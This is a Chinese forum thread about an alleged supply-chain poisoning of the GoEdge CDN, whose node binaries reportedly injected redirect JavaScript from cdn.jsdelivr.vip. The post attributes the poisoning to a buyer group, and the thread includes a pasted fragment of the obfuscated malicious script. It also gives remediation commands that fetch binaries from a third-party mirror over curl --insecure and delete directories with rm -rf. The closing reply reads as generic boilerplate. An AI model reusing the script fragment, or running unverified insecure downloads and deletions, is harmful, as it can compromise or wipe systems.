Golang Go语言中Edge “官方”投毒与供应链投毒恐有关及解决方案
在奶昔论坛上曾转载过 54yt 的一篇《供应链投毒后,我们的选择还剩下哪些》,于是昨天大半夜有许多 GoEdge 用户表示,自己部署的 CDN 会插入一段来自 https://cdn.jsdelivr.vip/jquery.min-3.7.0.js 的代码,其中内容不寒而栗:
图片来源: https://www.nodeseek.com/post-138160-1
前言
从超哥(其开发者)写出 GoEdge 至今,版本更迭到 v1.3.9 。这套 CDN 系统被许多 CDN 商家采用,毕竟它开源又免费,却在今年 4 月被请去喝茶后,goedge.cn 便重定向至 goedge.cloud ,而 goedge.cn 的备案号被注销、转出,甚至 whois 主体发生变化。
原实名信息:刘祥超
原 ICP 备案信息:刘祥超
现实名信息:莫坤秀
现 ICP 备案信息:已注销
而超哥在 QQ 群的最后消息为 2024 年 5 月 20 日。
之后 5 月 24 日发布的包中则带有上文提到的 cdn.jsdelivr.vip 的内容于节点( edge-node )的二进制文件中,一直到今日发版的 v1.4.1 。
供应链关系
查了一下 cdn.jsdelivr.vip 的 cname 指向,猜测和方能那伙人是同一伙
关于做了什么,hostloc 上面也有: https://hostloc.com/thread-1327962-1-1.html
可以说 js 代码跳 h 站就是这群人干的。
被卖了吗
有群友发现 GoEdge v1.3.9 的编译环境为 go1.21.10 ,与目前最新版的环境不同。故引发大家对 GoEdge 被出售的猜测。
而超哥用于销售商业版的淘宝店铺关闭,转而要客户前往 Telegram 找 @GoEdge 进行购买。据群友所描述,客服态度怠慢。
而唯一的联系方式就是 Telegram 的群组和客服,在 v1.4.0 发版时,特地强调了“过墙”的功能
而过墙是什么,想必不用多说了
临时发版
有群友进行二进制分析,发现 edge-node v1.4.1 版本二进制文件中存在上述恶意代码。但 GoEdge 客服在其 Telegram 群中表示“不信谣不传谣”后开始踢人
随后对 v1.4.1 重新编译,发布了无毒版本的 GoEdge v1.4.1
由图可以发现,这段 https://cdn.jsdelivr.vip/jquery.min-3.7.0.js 的引用在新的版本已被去除。(在此建议作者发布时,写好 MD5 、SHA1 、CSC32 信息,以免导致大家误会)
修复业务
由于许多人在使用该产品的时候,时不时跳 h 站。若您是 2024 年 5 月 24 日之后安装的 v1.3.9 (或更高版本),请立即更新。虽然刚刚官方发了 v1.4.1 的修正版本,一旦信任崩塌就难以重建。这里提供一个可行的恢复方案。
重装主控
- hosts 屏蔽 goedge.cloud 和 goedge.cn 防止程序更新
echo "127.0.0.1 goedge.cloud" | sudo tee -a /etc/hosts > /dev/null
echo "127.0.0.1 goedge.cn" | sudo tee -a /etc/hosts > /dev/null
cat /etc/hosts
- 回退主控( edge-admin )版本至 v1.3.9
# x86_64 (amd64)
edge-admin upgrade --url=https://dl.naixi.net/cdn/goedge/goedgecn/edge-admin-linux-amd64-plus-v1.3.9.zip
# aarch64 (arm64)
edge-admin upgrade --url=https://dl.naixi.net/cdn/goedge/goedgecn/edge-admin-linux-arm64-plus-v1.3.9.zip
- 删除 api-node/deploy 目录内的 dge-node-linux-amd64-v1.3.9.zip 和 dge-node-linux-arm64-v1.3.9.zip 文件,然后在目录下执行
# x86_64 (amd64)
wget -O edge-node-linux-amd64-v1.3.9.zip https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-amd64-plus-v1.3.9.zip
# aarch64 (arm64)
wget -O edge-node-linux-arm64-v1.3.9.zip https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-arm64-plus-v1.3.9.zip
- 主控节点重装即可(一般到这步就修复完啦)
节点修复
若上述第 4 步主控节点重装过于麻烦,这边提供一键指令
适用于安装在/root/edge-node ( arm 节点请将 amd64 更改为 arm64 )
rm -rf /usr/local/goedge
cd /root/edge-node
curl -L "https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-amd64-plus-v1.3.9.zip" --insecure -o edge-node-linux-amd64-plus.zip -C - -#
./edge-node/bin/edge-node stop
rm -rf ./edge-node/data
rm -rf ./edge-node/bin
rm -rf /opt/cache
unzip -o edge-node-linux-amd64-plus.zip
./edge-node/bin/edge-node restart
rm -rf *.zip
适用于安装在/usr/local/goedge ( arm 节点请将 amd64 更改为 arm64 )
rm -rf /root/edge-node
cd /usr/local/goedge
curl -L "https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-amd64-plus-v1.3.9.zip" --insecure -o edge-node-linux-amd64-plus.zip -C - -#
./edge-node/bin/edge-node stop
rm -rf ./edge-node/data
rm -rf ./edge-node/bin
rm -rf /opt/cache
unzip -o edge-node-linux-amd64-plus.zip
./edge-node/bin/edge-node restart
rm -rf *.zip
结语
虽然 GoEdge 已更换主体,且官方已经发布了不带毒的版本。但我们仍要知道供应链投毒的危害。即使是免费、开源的项目也有可能成为坏项目,毕竟世界上没有免费的午餐。
希盘上的 GoEdge 存档资源: https://dl.naixi.net/cdn/goedge/goedgecn/
( dl.naixi.net 上的 goedgecn 文件夹为超哥失联前所构建的最后版本,转自 DigitalVirt 的备份,即 v1.3.9 。而历史版本可以在 DigitalVirt 小老板的 Google Drive 存档找到: https://drive.google.com/drive/folders/1-2JbKiNy-MWF7RLnIUIRXiT-AE37rUDx
本文转载自奶昔论坛: https://bbs.naixi.net/thread-110-1-1.html
Golang Go语言中Edge “官方”投毒与供应链投毒恐有关及解决方案
更多关于Golang Go语言中Edge “官方”投毒与供应链投毒恐有关及解决方案的实战系列教程也可以访问 https://www.itying.com/category-94-b0.html
可怕 可怕
更多关于Golang Go语言中Edge “官方”投毒与供应链投毒恐有关及解决方案的实战系列教程也可以访问 https://www.itying.com/category-94-b0.html
关注
“不带毒的版本” = “没有恶意 URL 明文的版本”
上面是 jsdeliver.vip 的,这个域名就不对,混淆了,不过格式依然看得出是什么
unction a0_0x2d3434(_0x49c2b,_0x195cd1,_0x28f735,_0x279b74,_0x28707a){var a0_0x4b6b30={_0xff235f:0x3e7};return a0_0x2e66(_0x28f735- -a0_0x4b6b30._0xff235f,_0x49c2b);}function a0_0x8f6f(){var _0xffd4f6=[‘WOZcUSonWOar’,‘6lAk54YV54+F5P2f’,‘mCojW5v1jW’,‘AJFcRItcVW’,‘54QW56cO54Y4va’,‘W4BdUSk5lfi’,‘WPBdQSoemwi’,‘5B+m5AsV5lUO5lY9’,‘5BMH5Pws5AcB5AwI’,‘W6RdJCkFW6f+WQ1bW6VdL8odWPK’,‘wCo8W4ldGsK’,‘dv3LHPhOTAu’,‘y8kTWRz/uG’,‘5ykj54Qj5B6N5yQT’,‘6iYZ5AYq6ksc6Ao7’,‘5BYJ5PYm5lQn5zcy’,‘5y+L5y285lUN54Ip’,‘6kYT6lAi5AAN6zgC’,‘ySohWQ3dIgi’,‘5lYN6ik46l6u6lw+’,‘hXJcRd/cRW’,‘5l6S556pWRO’,‘5Bck5AwR55Ur5Pox’,‘WOK5W7L1WOu’,‘5zUa5BcM5ywo56g7’,‘6ywl5BQT5ycX5OIN’,‘W4ldRSoqiSog’,‘WQJdKSkqWOyG’,‘uGJdP8o6Aq’,‘56Au5yIX5A+z6iMq’,‘5zcj5z+/57MJ54ot’,‘6AU66iop5lQS54U/54s7’,‘6AQC56A8546U5A2W’,‘5yU45P6Z5PsF56oO’,‘vNGoWRi’,‘55Y85zQM5OUB55Aj6ikO’,‘CNTicq’,‘d048’,‘5Awh6AQ05lUX55wd’,‘dfmYCJW’,‘5Q6Z54UH56AB5yUF5lYr’,‘55Mg5Asf5Pw25lIh5lUe’,‘WOtdKmo1te4’,‘W4jzcdTdduztW7dcHCoPaW’,‘WQ/dIJ8AaG’,‘Cv8NWO4’,‘W7rNk8kUaq’,‘6BYP5ywa5zc156EwWQK’,‘5lI957Ul5l+655gA’,‘5y+55RQN54k26BUw6BQL’,‘5Awx56YPWR4’,‘5R626zEz5yAO5zg15B2E’,‘55UR5BoZ5AAQ54ck6kA/’,‘5P2m5yss5lY05AMK’,‘5Q2H5Rsw5P63’,‘hY7cHGdcGq’。。。。。
找到一个可能是 web.51.la 的源站 ip: 111.31.45.10 ,没有 hostloc 账户,有的可以帮忙评论到那个帖子里
可怕,持续关注
删除 api-node/deploy 目录的内容要全部删掉
这玩意没必要发,知道什么意思吗
#8
感觉应该发到跟之前帖子差不多的分享发现上,哪怕发在信安也是能理解的。
看完全文发现似乎除了项目是 go 写的以外没有什么涉及到 go 的内容,发到 go 版似乎有点不太合适。
可怕
为什么会被请去喝茶
在搜索引擎中查找 方能 可以搜到 funnull.net 。里面有一些让人在意的句子。
> 这正是我需要声明的一点,方能 CDN 公司以及 ACB 集团与本人及家人无任何关系,近日有不少公司联系到我的家人并威胁他们,认为方能 CDN 公司通过客户域名使用渗透和镜像技术偷窃会员资料和资金交易等相关重要信息,并通过租售服务器的方式窃取客户程序,此事与本人及家人无关,还请联系方能 CDN 公司解决。
>
> 事件:2024 年 4 月,goedge 被方能收购,同年 7 月,方能在 goedge 1.3.9 以及之后的版本中植入 js 劫持跳转代码,并在之后的版本中留有后门。
后面他们在深圳弄了一家 FlexCDN 的公司,也可以关注下
https://forum.naixi.net/forum.php?mod=viewthread&tid=1069
相当于是 GoEdge 1.4.2 的版本了,从 1.0.4 后也是加了后门改在线授权
他那授权服务器只要死了,所有正版用户都会波及
针对Golang Go语言中Edge“官方”投毒与供应链投毒的问题及解决方案,以下是我的专业回复:
问题分析:
- Edge投毒事件:近期发生的GoEdge CDN投毒事件,表明开源项目在供应链安全方面存在漏洞。攻击者通过发布带有恶意代码的版本,导致使用该CDN的网站被攻击。
- 供应链投毒风险:供应链攻击已成为软件安全领域的重大威胁,通过破坏软件项目的依赖关系,攻击者可对目标系统进行渗透。
解决方案:
- 加强依赖管理:使用Go语言的模块系统(Go Modules),确保依赖项的版本被锁定在go.mod文件中,避免自动更新到恶意版本。
- 验证依赖完整性:利用go.sum文件和Go的校验和数据库(sumdb),确保每次构建都使用相同的依赖内容,防止被篡改。
- 避免误植域名:开发者在引入依赖时,应仔细核对导入路径,避免使用存在误植域名风险的包。
- 定期审计代码:对使用的第三方库进行定期审计,确保其安全性和稳定性。
- 建立应急响应机制:一旦发现供应链攻击,应立即采取措施,如回退版本、删除恶意代码等,并通知相关方。
综上所述,通过加强依赖管理、验证依赖完整性、避免误植域名、定期审计代码以及建立应急响应机制,可以有效降低Go语言项目在供应链方面的安全风险。